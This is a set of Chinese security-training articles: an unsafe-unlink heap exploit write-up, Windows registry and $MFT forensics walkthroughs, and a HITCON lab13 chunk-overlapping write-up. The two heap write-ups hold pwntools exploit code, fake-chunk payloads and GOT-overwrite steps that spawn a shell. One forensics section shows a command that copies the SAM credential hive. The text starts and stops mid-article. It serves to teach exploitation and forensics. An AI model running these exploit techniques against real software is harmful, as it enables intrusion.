void make_component(char* ptr, int len){ if (0 == len) { return; } char c; int i = 0; while ( i < len ) { read(0, &c, 1); if ( c == '\n' ) { ptr[i] = 0; return; } ptr[i++] = c; } ptr[i] = 0;}
乍看之下没有什么问题,但是当读入的数据达到最大长度后会将ptr[len]处的数据修改为0,而这一地址属于理想的修改范围之外,因此产生off-by-null的漏洞。
void mix(){ int index; puts("Now input the color index:"); scanf("%d", &index); index--; if (0 <= index && index < COLOR_NUM) { if (your_palette[index]) { struct palette* ddl_ptr = your_palette[index]; puts("Please name youe color:"); make_comp
mix函数用于修改已经申请好的chunk,可以重新设置某一个palette的color段以及ingredient段。
void wash(){ int index; puts("Now input the color index:"); scanf("%d", &index); index--; if (0 <= index && index < COLOR_NUM) { if (your_palette[index]) { free(your_palette[index]); your_palette[index] = NULL; puts("Finish!"); retur
wash函数free掉了一个已经申请过的chunk,这也是unsafe unlink漏洞利用之处。这里需要注意的一点是标红处对数组进行赋NULL,因此排除了uaf的情况。
void insepct(){ if (secret_button) { puts("You've successfully broken the palette >_< "); system("/bin/sh"); } else { puts("You can explore your palette futher more :) "); } exit(0);}
inspect函数用于shell获取。当检查到全局变量secret_button不为0后,将调用/bin/sh。那么本题的目标至此已经显而易见了:通过wash函数的free触发漏洞,并通过mix函数修改全局变量secret_button为非零值,然后执行inspect函数来getshell。
相关知识补充
unsafe unlink漏洞是指由于程序设计不当、用户恶意输入,堆管理器在释放块的时候将前一个正在使用的块也视为已经被释放的块,从而也将它纳入空闲块管理中。以64位系统中glibc-2.27为例,一个chunk块的结构如下:
A区域(8字节):mchunk_prev_sizeB区域(8字节):mchunk_sizeC区域(8字节):fdD区域(8字节):bkE区域(8字节):fd_nextsizeF区域(8字节):bk_nextsizel 其中B区域比较特殊。B区域用于表示该chunk的大小(单位为字节)。由于chunk必须16字节对齐,因此B区域的低3bits被设置为flag位,不影响chunk的大小。其中最低1bit为PREV_INUSE位,当设置为0时表示前一个chunk处于空闲状态。
l A区域用于表示前一个相邻的空闲chunk的大小。当PREV_INUSE置1时,这一区域被前一个chunk使用(称之为空间复用);当PREV_INUSE置0时,该区域才被这一个chunk使用,用于在free时获取前一个chunk的地址。
l B区域也是该chunk的元数据区域,从C区域开始为用户实际使用的数据区。当malloc获得块的时候,返回的指针就是指向C区域的。
l 而当该块处于空闲状态时,C、D区域用于构造空闲块的双向链表。C区域会被堆管理器自动设置为前向空闲块的地址,D区域被设置为后向空闲块的地址。对于large chunk而言,C、D区域用于指向大小相同的空闲块,E、F区域用于指向大小不同的空闲块。
glibc-2.27中对unlink的实现如下:
/* Take a chunk off a bin list */#define unlink(AV, P, BK, FD) { \ if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ malloc_printerr ("corrupted size vs. prev_size"); \ FD = P->fd; \ BK = P->bk; \
unlink是在释放某一块时调用的“函数”,本意是将空闲块进行合并形成双向链表,提高空间利用率,但是在安全检查方面存在一些漏洞。在利用过程中,需要绕过两处安全检查(标红和标蓝处)。简单来说,unlink的核心是检查当前块是否是合法的空闲块。其中参数P表示当前检查的、准备合并的“空闲”块。
l 标红处用于检查P的大小是否和下一块的prev_size段相等(即检查此块的B区域表示的大小和下一块的A区域的值是否相等)。
l 标蓝处用于检查P的前向块的后向块与P的后向块的前向块是否都指向P自己。
当两处检查均通过时,堆管理器会执行FD->bk = BK与BK->fd = FD,从而将P加入到双向链表中。因此,本题的核心在于如何绕过这两处检查。
漏洞利用
利用思路大致如下:
1、申请3个块(姑且称之为chunkA、chunkB、chunkC)。
2、修改chunkA,在其中精巧地布置出一个chunkD。
3、释放chunkB,并让堆管理器unlink chunkD。
4、修改chunkA,写入任意地址。
5、修改chunkA,实现任意地址写。
ADD, FREE, SET, INSPECT = '1', '2', '4', '5'def operate(op, arg1='A', arg2='A', arg3='A'): global io io.recvuntil('e:\n') io.sendline(op) if op == '1': # squeeze() io.recvuntil('color:\n') if len(arg1) < 32: io.sendline(arg1) else: io.se
首先定义一个operate函数,用于处理各类请求信息,将squeeze、wash、mix重命名为经典的ADD、FREE、SET。接下来逐步进行利用:
1、申请3个块(姑且称之为chunkA、chunkB、chunkC)。
operate(ADD) #chunkAoperate(ADD) #chunkBoperate(ADD) #chunkC
使用gdb查看内存情况:
之所以使用3个chunk,是为了防止free chunkB的时候其与top chunk合并。
然后以chunkA为例,查看它的内容:
可见该chunk大小为0x500、前一个chunk处于使用中。(之后的截图为多次运行程序所截,由于开启了ASLR,所以堆的地址会发生改变,但内容是一致的,不影响阅读)
2、修改chunkA,在其中精巧地布置出一个chunkD。
chunkD是在chunkA内由用户的输入构造出的特殊的fake chunk,我们希望unlink把这个块视作一个合法的空闲块。因此首先需要绕过unlink对chunk_size的检查。这里需要注意,用户申请的chunkA指向chunkA的data段,我们可以将这里当做chunkD的元数据区进行填充。由于chunkA->color大小为32字节,那么对应了chunkD的A、B、C、D区域(前文所述)。如何填充这四个区域呢?
首先关注B区域。由于chunkD是chunkA内的一块,且其元数据区的地址在chunkA的数据区,所以它的大小应该是chunkA-16,即0x500-0x10=0x4f0。为了防止chunkA也被unlink掉,这里将前一块标记为使用中,所以B区域填充0x4f1。那么A区域是属于chunkA的,可以填充任意值,此处填0。
C、D区域是chunkD的fd、bk指针,是漏洞利用的关键。这里注意到unlink的第二道检查就是检查这里的fd->bk和bk->fd是否都等于chunkD的元数据区地址。这里的关键是chunkD的元数据区地址恰好等于chunkA的数据区地址,而chunkA的数据区地址正好是malloc chunkA时获得的,其保存在全局变量your_palette[0]中。
由于程序没有开启PIE,所以可以通过objdump直接获取全局变量的地址。
这里就利用了unlink中的一个漏洞:它默认fd和bk都指向了合法的chunk地址,所以fd->bk和bk->fd只是简单地将fd、bk视作一个chunk,然后取偏移量24字节和16字节,并将其视为合法的bk和fd。而如果fd、bk是用户可控的,那么只需要将fd设置为your_palette地址-24、将bk设置为your_palette地址-16,那么fd->bk和bk->fd都会指向your_palette[0],即为chunkA的data段,即为chunkD的元数据地址,从而实现了绕过检查。此时0x1160670为chunkD的元数据地址,chunkD的fd、bk被设置为0x6020c
接下来需要填充chunkD的ingredient区域。这里需要注意的是要在空间复用区(即chunkB的A区域)填充padding与chunkD的大小。这里需要完全填充ingredient区域,以触发前文提到过的off-by-null漏洞,从而将chunkB的PREV_INUSE位置0,使得chunkD被视作空闲块。
可见0x1160b68处的0x501被修改为0x500,且其prev_size段被设置为0x4f0。
palette_addr = 0x6020c0secret_button_addr = 0x6020a0payload1 = p64(0) + p64(0x4f1) + p64(palette_addr - 24) + p64(palette_addr - 16)payload2 = b'\x00' * 0x4d0 + p64(0x4f0)operate(SET, 1, payload1, payload2)
3、释放chunkB,并让堆管理器unlink chunkD。
释放掉chunkB后,查看your_palette内容,可见your_palette[0]被设置为0x6020a8,这是因为unlink成功,执行了BK->fd = FD。这里注意到,chunkA仍然是一个使用中的chunk,但它指向了全局数据区。那么此后调用mix时,将向此处写入新的数据。这里需要注意到,写入的第24-32字节会重新覆盖your_palette[0],也就是说可以再次指向另一个地址,而这个地址就是用户任意写入的了。
operate(FREE,2)
4、修改chunkA,写入任意地址。
这里直接写入secret_button的地址,并调用mix函数。
payload = b'\x00' * 24 + p64(secret_button_addr)operate(SET, 1, payload)
5、修改chunkA,实现任意地址写。
secret_button只需非0即可,这里写入1。
operate(SET, 1, p64(1))
最后简单调用inspect即可getshell。
完整exp代码
from pwn import * binary_file = './a.out'io = process(binary_file, env={'LD_PRELOAD': './libc-2.27.so'})lib = ELF('./libc-2.27.so')proc = ELF(binary_file) palette_addr = 0x6020c0secret_button_addr = 0x6020a0button = 1ADD, FREE, SET, INSPECT = '1', '2', '4', '5' def operate(op, arg1='A', arg2='A', a
说明
编译源程序:gcc unsafe_unlink.c -no-pie
Windows 取证之注册表
一、概述
注册表(英语:Registry)是Microsoft Windows操作系统和其应用程序中的一个重要的层次型数据库,用于存储系统和应用程序的配置信息。
早在Windows 3.0推出OLE技术的时候,注册表就已经出现。但是,从Windows 95开始,注册表才真正成为Windows用户经常接触的内容,并在其后的操作系统中继续沿用至今。随后推出的Windows NT是第一个从系统级别广泛使用注册表的操作系统。(via 维基百科)
二、注册表的组成结构
注册表由键(key,或称“项”)、子键(subkey,子项)和值项(value)构成的hive文件组成,关于Windows注册表hive格式的详情说明可以参考这篇文章:https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md
注册表的结构是一个树状结构,一个键(key,或称“项”)就是一个节点,子键(subkey)就是这个节点的子节点,子健也是键。键的一条属性被称为一个value(值项),value由名称、类型、数据类型和数据组成。一个键可以有多个值,每个值的名称不同,如果值名称是空,则该值为该键的默认值。
可以打开注册表编辑器查看其结构组成:
注册表的主键,也就是主分支有五个,分别是:
HKEY_CLASSES_ROOT:包含启动应用程序所需的全部信息,包括扩展名,应用程序与文档之间的关系,驱动程序名,DDE和OLE信息,类ID编号和应用程序与文档的图标等。
HKEY_CURRENT_USER:包含当前用户的配置信息,比如环境变量,桌面设置等
HKEY_LOCAL_MACHINE:包括安装在计算机上的硬件和软件的信息
HKEY_USERS:包含计算机的所有用户配置信息
HKEY_CURRENT_CONFIG:当前硬件的配置信息。
注册表数据类型主要有以下几种:
REG_SZ:字符串类型,文本字符串
REG_BINARY:二进制类型,不定长度的二进制值,以16进制形式显示
REG_DWORD:双字,32 位的二进制值,显示为 8 位的十六进制值
REG_MULTI_SZ:多字符串,有多个文本值的字符串,字符串间用 nul 分隔、结尾两个 nul
REG_EXPAND_SZ:可扩展字符串,包含环境变量的字符串
注册表中时间格式有以下几种:
FILETIME:64位值,代表间隔多少个单位为100纳秒的时间(从UTC1601年1月1日开始)
Unix Time:32位值,代表间隔多少秒(从UTC1970年1月1日开始)。
DOS Date/Time:两个16位值,详细记录了当地时间和年月日。
三、注册表的存储
注册表在Windows NT操作系统中被分为多个文件存储,这些文件被称为Registry Hives,每一个文件被称为一个配置单元。
主要配置单元有:
SYSTEM:对应的注册表分支为HKEY_LOCAL_MACHINE\SYSTEM,对应的存储文件是\Windows\System32\config\SYSTEM,其作用是存储计算机硬件和系统的信息。
NTUSER.DAT:对应的注册表分支是HKEY_CURRENT_USER,存储在用户目录下,与其他注册表文件是分开的,主要用于存储用户的配置信息。
SAM:分支是HKEY_LOCAL_MACHINE\SAM,存储在C:\Windows\System32\config\SAM文件中,保存了用户的密码信息。
SECURITY:对应的分支HKEY_LOCAL_MACHINE\SECURITY,存储在C:\Windows\System32\config\SECURITY文件中,保存了安全性设置信息。
SOFTWARE:分支是HKEY_LOCAL_MACHINE\SOFTWARE,文件存储在C:\Windows\System32\config\SOFTWARE中,保存安装软件的信息。
修改注册表的主要方式有:1、使用提供Windows提供的注册表编辑器:%systemroot%\regedit.exe;2、使用reg命令,可以对注册表进行增删改查、导入导出注册表文件(reg文件)、导入导出或加载配置单元(RegHive)等操作;3、使用reg文件,用户可以通过注册表编辑器导出注册表某些项为一个reg文件,反之可以导入一个reg文件将项目还原或者修改。
此外,为了防止注册表出错和损坏,Registry hives还包括注册的事务日志文件和注册表的备份文件。事务日志文件名与注册表文件一致,且在同一个路径中,只是后缀不同。事务日志文件以.LOG为后缀,多个日志后缀会显示LOG1、LOG2这样。(如果要查看这些日志文件,需要打开文件夹选项,取消勾选“隐藏受保护的操作系统文件”)
备份文件则在\Windows\System32\config\RegBack\路径中。
在发生修改将数据写入到主文件之前,Hive写入器会先将这些数据存储在事务日志文件中,如果写入事务日志时发生错误(比如系统崩溃),则主文件不会受影响。如果写入主文件时发生错误,可以通过事务日志包含的数据恢复主文件。
四、获取和分析Hive
要获取Hive,可以通过reg save命令创建Registry Hives的副本。(在管理员权限的命令提示符中执行)
C:\WINDOWS\system32>reg save hklm\sam c:\sam
操作成功完成。
C:\WINDOWS\system32>
分析Hive可以使用开源软件RegRipper,RegRipper是一个用perl编写的开源工具,可以从注册表中提取和解析各种信息(Key、value、data)以供取证人员进行分析。
RegRipper项目地址:https://github.com/keydet89/RegRipper3.0
打开RegRipper软件,选择Hive文件,设置好报告存储路径,选择好Profile,然后点Rip It
它会创建两个文件,一个是日志文件,一个是报告文件
打开SAM hive的分析报告文件,可以看到用户和用户组的详细信息
五、取证实战
来源:Cynet应急响应挑战赛
题目描述:Podrick 说在2020 年 2 月 3 日午餐时间(下午 12:00 左右),有一个恶意的 USB 设备插入了他的电脑。他还提到他看到他的一位同事——Theon G,手里拿着 USB设备离开了他的办公室。但Theon 声称他进入办公室是为了拜访 Aria(与Podrick在同一办公室)。见Aria不在,他便离开了办公室。Podrick没有锁屏的习惯,他怀疑Theon趁他不在的时候窃取了他的数据。
提示:1、检查Podrick的电脑;2、确定2020年2月3日,是否有USB设备连接到Podrick的PC?;3、提交可疑 USB 设备的Serial/UID
题目提供的文件是几个Hive文件
这些文件代表什么,在前面的小节中都已经介绍过了,除了Amcache.hve,这是Win8及更高版本的系统才有的。它存储与执行程序相关的信息,当用户执行某些操作(例如运行基于主机的应用程序、安装新应用程序或从外部设备运行便携式应用程序)时,它会记录程序相关的信息:如程序的创建时间、修改时间、名称、描述、程序厂商和版本、程序的执行路径、SHA-1哈希值等。即使程序从系统中删除,这些信息依然存在。
回到题目,我们要调查USB使用痕迹,根据前面的知识,我们需要分析SYSTEM这个Hive文件。
打开RegRipper工具,加载提供的SYSTEM文件,导出分析报告。
打开报告文件,通过搜索USBSTOR(这个key(SYSTEM\CurrentControlSet\Enum\USBSTOR)存储了任何曾经连接过系统的USB设备的产品信息和设备ID),可以找到有关USB设备的注册表信息。
通过查找和筛选比对,最终我们找到2020-12:12:32有一个USB设备插入了电脑,Serial/UID是: 4C530000281008116284
参考资料:
Registry Hives - Win32 apps | Microsoft Docs https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-hives
注册表 - 维基百科,自由的百科全书 https://zh.wikipedia.org/wiki/%E6%B3%A8%E5%86%8C%E8%A1%A8
regf/Windows registry file format specification.md at master · msuhanov/regf · GitHub https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md
本文涉及相关实验:FastIRCollector:https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016100814354600001 (FastIR Collector是一个Windows下的取证/信息收集工具,收集的东西揽括了所有你能想到的东西,不限于内存,注册表,文件信息等。本实验将介绍FastIR Collector在windows 7下的使用。)
Windows 取证之$MFT
一、什么是MFT
MFT,全称Master File Table,即主文件表,它是NTFS文件系统的核心。它是包含了NTFS卷中所有文件信息的数据库,在$MFT 中每个文件(包括MFT本身)至少有一个MFT,记录着该文件的各种信息。这些信息被称为属性。
NTFS使用MFT条目定义它们对应的文件,有关文件的所有信息,比如大小、时间、权限等都存在MFT条目中,或者由MFT条目描述存储在MFT外部的空间中。
MFT由一个个MFT项(也称为文件记录(File Record))组成,每个MFT项占用1024字节的空间。这个概念相当于Linux中的inode,File Record在$MFT文件中物理上是连续的,且从0开始编号,每个MFT项的前部几十个字节有着固定的头结构,用来描述本MFT项的相关信息。后面的字节存放着“属性”。(-via 百度百科)
二、MFT与数据恢复
在正常情况下,MTF条目会随着文件添加到NTFS卷中而增加,因此MFT的大小也会增加,当文件从NTFS卷中删除时,其MFT条目会被标记为free(空闲),以准备被重复使用,此条目会继续存在,直到它被新文件覆盖。但MFT所占空间大小不会因为删除文件而缩小。
例子:假如现在有100个MFT条目和一个文件X,现在删除文件X并立即创建500个以上文件,那么文件X的MFT条目将会被覆盖。虽然文件的内容可能存在与硬盘上,但包含名称、元数据等的MFT条目将被覆盖。
例子2:现在MFT有10000个条目,删除1000个文件和立即添加2个新文件。此时,可以恢复998个条目。不过文件的数据是否可以恢复得看它们是否已被覆盖。
这种文件数据和MFT条目分开的方式,会导致在删除操作后存在以下几种可能性:
1、文件被删除,但MFT条目和文件数据是100%可恢复的,则删除的文件可以100%被恢复。
2、文件被删除,MFT条目可恢复,但部分文件数据被覆盖,则该文件部分可被恢复。
3、文件被删除,MFT条目可恢复,但是文件数据被100%覆盖,则该文件不可恢复,但该文件相关属性信息(名称、日期、大小等信息)可被恢复。
4、文件被删除,MFT条目和文件数据100%可恢复,但文件已100%丢失,这种情况下。取证调查可以揭示该文件的大量信息,但不是通过MFT,而是使用其他证物。
5、文件被删除且MFT100%被覆盖,但文件数据未100%被覆盖。剩余的文件可以从磁盘上未分配的空间恢复。但雕刻数据的结果取决于碎片、可恢复数据的数量(可能是100%)和文件的性质。
当然,MFT被覆盖时,存在非100%被覆盖的情况,这种情况被称为MFT文件松弛,标准上来说,MFT条目被分配1024字节的固定空间。如果MFT条目小于1024字节。比如1000字节,则剩下为额外松弛空间。比如一个只有200字节长的密码文件,其文件数据也会被放置在MFT内,这种文件数据称为常驻数据。而文件名称、日期等元数据只占用大约500字节左右,如果删除了文件并在其位置创建了新的MFT条目,且不包括常驻数据。这意味着即使这个文件被删除,如果仔细检查也能恢复。
三、$MFT文件在取证中的应用
题目来源:Cynet应急响应挑战赛
题目描述:GOT公司的CTO在自己的笔记本上发现了可疑的活动。他说桌面上某些文件突然被移动了位置,而且其他文件似乎还在不合逻辑的日期被修改。他希望我们找出桌面上文件异常的相关证据。通过 一些技术检查,我们发现他是对的。桌面文件有明显的异常痕迹。请根据提供的$MFT文件找到与文件更改/修改相关的异常痕迹。
提示:1、找出受攻击者影响的文件名称及其原始创建时间。2、该文件位于桌面上。3、时间格式:DD-MM-YYYY HH:MM:SS ,文件名格式:filename.ext(ext是文件扩展名)
下载题目提供的文件
用Winhex打开可以查看其组成结构
我们可以通过$MFT解析软件把MFT条目导出来
Mft2Csvhttps://github.com/jschicht/Mft2Csv
下载打开软件,选择$MFT文件,然后导出到csv文件
导出的条目会以csv文件的形式存放在软件目录下
打开导出的csv文件,就可以看到文件的名称,日期,权限等各种信息
我们找到桌面上的相关文件
通过筛选,我们把要找的文件锁定在19个相关文件内容中
通过观察比较,发现其中一个文件时间有异常
0x0567DC00|GOOD|OK||88567|13|1|86832|1|Mod-File.txt|:\Users\DFIR\Desktop\Mod-File.txt|FILE|ALLOCATED|1|archive|archive|DOS+WIN32|0|2019-01-01 01:01:01.0000000|2019-01-01 01:01:01.0000000|2020-01-19 12:19:30.3933817|2019-01-01 01:01:01.0000000|0|2020-01-19 11:51:19.3290999|2020-01-19 11:51:25.8535572
上述项目对应的含义如下:
RecordOffset|Signature|IntegrityCheck|Style|HEADER_MFTREcordNumber|HEADER_SequenceNo|Header_HardLinkCount|FN_ParentReferenceNo|FN_ParentSequenceNo|FN_FileName|FilePath|HEADER_Flags|RecordActive|FileSizeBytes|SI_FilePermission|FN_Flags|FN_NameType|ADS|SI_CTime|SI_ATime|SI_MTime|SI_RTime|MSecTest|FN_C
在其文件日期修改日期和访问日期上都很不正常,都是2019-01-01 01:01:01.0000000,通过比较FN Info Creation date(FN_CTime)和Std Info Creation date(SI_CTime)发现两种时间不一致。(注:FN (FILE_NAME) ,SI (STANDARD_INFORMATION) );而$FN只能由内核级进程修改,攻击者想修改非常困难。
至此我们找出了被修改的文件是Mod-File.txt,文件的原始创建时间是19-01-2020 11:51:19
四、总结
攻击者利用的是Timestomp技术。Timestomp 是一种修改文件时间戳(修改,访问,创建和更改时间)的技术,通常用于模拟同一文件夹中的文件。该技术可以用在攻击者修改或创建的文件上,使得它们在取证调查人员或文件分析工具面前更加隐蔽。Timestomp 可以与文件名伪装(Masquerading)结合使用来隐藏恶意软件和工具。(https://attack.mitre.org/techniques/T1070/006/)
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016100813263000001 (本实验主要介绍 Linux 环境下的磁盘取证和内存取证工具的使用包括 Ftkimage、xmount、Volatility等。)
堆利用之Chunk extend Overlapping
漏洞简介
chunk extend overlapping在堆中是一种比较常见的利用手段,其主要原理就是因为某些意外情况我们可以去修改一些已经申请或在空闲状态的堆块的大小,从而造成堆块重叠的情况,而这也就引发了一系列安全隐患。
本文涉及相关实验:https://www.yijinglab.com/cour.do?w=1&c=CCID31b0-fe03-4277-8e2f-504c4960d33f (ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前,立即间接地执行精心挑选的指令或机器指令组。)
这里我将根据一道题来介绍这个漏洞的利用流程
例题:HITCON Trainging lab13
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
查看保护机制,开启canary与nx保护,因为题目给出源码所以我们直接对着源码进行分析
源码分析
void menu(){
puts("--------------------------------");
puts(" Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Show a Heap ");
puts(" 4. Delete a Heap ");
puts(" 5. Exit ");
puts("--------------------------------");
printf("Your choice :");
}
经典菜单题,根据我们输入的选项执行不同的功能
Create函数
我们先看一下Create函数
void create_heap(){
int i ;
char buf[8];
size_t size = 0;
for(i = 0 ; i < 10 ; i++){
if(!heaparray[i]){
heaparray[i] = (struct heap *)malloc(sizeof(struct heap));
if(!heaparray[i]){
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0,buf,8);
size = atoi(buf);
heaparray[i]->content = (char *)malloc(size);
if(!heaparray[i]->content){
puts("Allocate Error");
exit(2);
}
heaparray[i]->size = size ;
printf("Content of heap:");
read_input(heaparray[i]->content,size);
puts("SuccessFul");
break ;
}
}
}
heaparray数组是声明的heap结构体数组,其中的内容如下所示
struct heap {
size_t size ;
char *content ;
};
首先create函数会先为heaparray中的每一个结构体元素分配一个0x10大小的内存,然后在对结构体中的content指针分配我们所指定的大小的内存,并执行read_input函数存放我们输入的内容
Edit函数
接下来继续往下看Edit函数
void edit_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Content of heap : ");
read_input(heaparray[idx]->content,heaparray[idx]->size+1);
puts("Done !");
}else{
puts("No such heap !");
}
}
edit函数会根据我们输入的索引去heaparray中寻找对应的结构体,需要注意的是这里的索引与数组一致都是从零开始,这里需要注意的是read_input函数在写入内容时共存入了size+1位,这也就造成了off-by-one漏洞,找到一个漏洞点。
Show函数
继续往下Show函数打印对应结构体中content中存放的内容
void show_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content);
puts("Done !");
}else{
puts("No such heap !");
}
}
Delete函数
而我们最后需要关注的就是
void delete_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
free(heaparray[idx]->content);
free(heaparray[idx]);
heaparray[idx] = NULL ;
puts("Done !");
}else{
puts("No such heap !");
}
}
在delete函数中它是先将content申请的内存free掉再free的结构体内存,我们后面进行漏洞利用时这里会用到
漏洞利用
我们这里的利用思路是:
1、利用off by one漏洞完成堆重叠并构建含有/bin/sh的堆块
2、泄露出free函数并计算出libc基地址与system地址
3、覆盖free函数的got表中的地址为system地址
4、free掉包含/bin/sh的堆块,获取shell
我们先构造exp中上述代码对应的功能函数
def menu(index):
p.sendlineafter("Your choice :", str(index))
def Create(heap_size, content):
menu(1)
p.sendlineafter("Size of Heap : ", str(heap_size))
p.sendlineafter("Content of heap:", content)
def Edit(index, content):
menu(2)
p.sendlineafter("Index :", str(index))
p.sendlineafter("Content of heap : ", content)
def Show(index):
menu(3)
p.sendlineafter("Index :", str(index))
def Free(index):
menu(4)
p.sendlineafter("Index :", str(index))
1、利用off-by-one完成extend overlapping
在源码中我们发现了其存在off by one漏洞,我们就利用这个漏洞完成对堆块的extend overlapping
使用pwndbg对程序进行调试
--------------------------------
Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Show a Heap
4. Delete a Heap
5. Exit
--------------------------------
Your choice :1
Size of Heap : 24
Content of heap:content1
SuccessFul
--------------------------------
Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Show a Heap
4. Delete a Heap
5. Exit
--------------------------------
Your choice :1
Size of Heap : 16
Content of heap:content2
SuccessFul
首先我们创建两个heap,然后ctrl+c,使用heap指令查看当前堆的状态
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x251
//struct1
Allocated chunk | PREV_INUSE
Addr: 0x603250
Size: 0x21
//struct1->content
Allocated chunk | PREV_INUSE
Addr: 0x603270
Size: 0x21
//stuct2
Allocated chunk | PREV_INUSE
Addr: 0x603290
Size: 0x21
//struct2->content
Allocated chunk | PREV_INUSE
Addr: 0x6032b0
Size: 0x21
//top chunk
Top chunk | PREV_INUSE
Addr: 0x6032d0
Size: 0x20d31
这些便是我们申请的内存,查看内存信息
pwndbg> x/20gx 0x603250
0x603250: 0x0000000000000000 0x0000000000000021
0x603260: 0x0000000000000018 0x0000000000603280
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x31746e65746e6f63 0x000000000000000a
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x0000000000000010 0x00000000006032c0
0x6032b0: 0x0000000000000000 0x0000000000000021
0x6032c0: 0x32746e65746e6f63 0x000000000000000a
0x6032d0: 0x0000000000000000 0x0000000000020d31
从地址到高地址依次是
0x603250-0x603268 heap_struct1申请的内存
0x603270-0x603288 heap_stuct1->content申请的内存
0x603290-0x6032a8 heap_struct2申请的内存
0x6032b0-0x6032c8 heap_struct2->content申请的内存
而它们的存储对应了系统中堆块的构造
我们拿第一个堆块进行说明
0x603250中存放的是其前一个堆块的大小(prev_size)
0x603258中存放的是当前堆块的大小(size)
0x603260-0x603268便是heap_struct1结构体存放的位置
特别的是当堆块的前一个堆块处于使用状态时,会被当前堆块size的最低位记为1,并且prev_size也会作为可利用内存供前一个堆块去存储数据。说到这里也就可以解释为什么size的大小是0x21了,在64位程序下,prev_size与size各占8字节大小,再加上data域的0x10,一共就是0x10+0x8+0x8=0x20,而因为当前堆块的size域中用来记录前一个堆块使用状态的P位被置一了,所以我们要再加1,所以最后存放在size域中的值是0x21。
继续回到漏洞利用,当我们创建完这4个堆块后(两个struct两个content),在执行Edit函数时,因为off-by-one漏洞的缘故,我们共可以输入size+1位字符,而当我们选择Edit的对象是content1时,因为堆是连续的,我们就可以覆盖掉struct2的一位字节,根据上面对于堆块的介绍,如果我们覆盖的是当前堆块的size时,就会造成extend,进而触发新的漏洞利用。
继续执行程序,因为我们content1申请了24的内存,所以这里我们输入25个字符。
查看堆中情况,发现因为off-by-one的缘故我们已经成功覆盖掉struct2的size域,而我们想要达到的目的是控制struct2以及struct2->content的内存,所以这里我们将数覆盖为0x41,及'A'的ASCII码值,对应exp如下所示:
Create(24, "content1")
Create(16, "content2")
binsh = "/bin/sh\x00"
Edit(0, binsh.ljust(25, "A"))
这里将填充位改为使用"/bin/sh"是为了我们后续获取shell时用到
接下来我们需要free掉heap2(struct2跟struct->content)
free(heaparray[idx]->content);
free(heaparray[idx]);
根据堆中bins的规则我们当前free的chunk会被回收到tcache中,而源码中我们是先free的struct->content再free的struct,而如果我们这时再申请一个堆块(记作struct3),那么struct3申请的内存区域就会是struct2->content刚刚free的内存区域,并且当我们令struct3->content所申请的内存大小为0x30时,经过我们extend后的struct2的内存区域就会被struct3->content使用。
我们用gdb调试free后新创建一个堆块的内存的布局
Free(1)
Create(0x30, "content3")
可以看到我们这里已经成功完成了extend overlapping,并且都被存放在了tcache中,继续执行程序
可以看到原先空闲的块已经被使用了,我们再来看看里面存的内容
可以看到这里我们已经成功创建了struct3与struct3->content的内存,这样看可能不是很明显,我在这里详细说明一下
0x22d5290-0x22d52c8 是struct3->content的内存区域
0x22d52b0-0x22d52c8 是struct3的结构体申请的内存区域
0x22d52d0-0x22d52d8 是arena的所属内存区域(即top chunk)
可以看出struct3的结构体内存区域是被包含在struct3->content的内存区域中的,而我们又可以通过Edit函数来对struct3->content的内存区域进行写入操作,那么我们现在所需要做的事情就是下面几步
1、泄露free函数got表中的真实地址
2、通过free函数的真实地址计算出libc基地址和system地址
3、将free_got中的地址替换为system函数的真实地址
4、获取shell
2、泄露free函数&&计算libc基地址与system地址
要达到这步我们现在只需要通过edit函数将struct3结构体中content指针的地址改为free_got的地址,并使用show函数打印出真实地址即可
对应exp如下所示
Edit(1, p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got))
Show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("free addr: 0x%x"%free_addr)
而我们当有了free函数的基地址,就能求出libc与system的地址了
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success('system addr: ' + hex(system_addr))
效果如下图所示
3、获取shell
到现在为止我们获取shell的所有必要条件都完成了,最后只需要修改掉free_got中的真实地址为system的地址即可。因为前面我们已经将struct结构体中的content指针地址修改为了free_got的地址,所有这里我们只需要通过Edit函数对其中的内容进行修改即可,修改完成后我们执行free函数也就等同于执行system函数,而在前面我们已经构建了一个包含"/bin/sh"的chunk(struct1->content),也就是说我们只要free掉struct1->content就可以完成漏洞利用获得shell
对应exp如下所示
Edit(1, p64(system_addr))
Free(0)
然后我们就能执行system("/bin/sh")获得shell
完整exp如下所示
from pwn import *
import time
def menu(index):
p.sendlineafter("Your choice :", str(index))
def Create(heap_size, content):
menu(1)
p.sendlineafter("Size of Heap : ", str(heap_size))
p.sendlineafter("Content of heap:", content)
def Edit(index, content):
menu(2)
p.sendlineafter("Index :", str(index))
p.sendlineafter("Content of heap : ", content)
def Show(index):
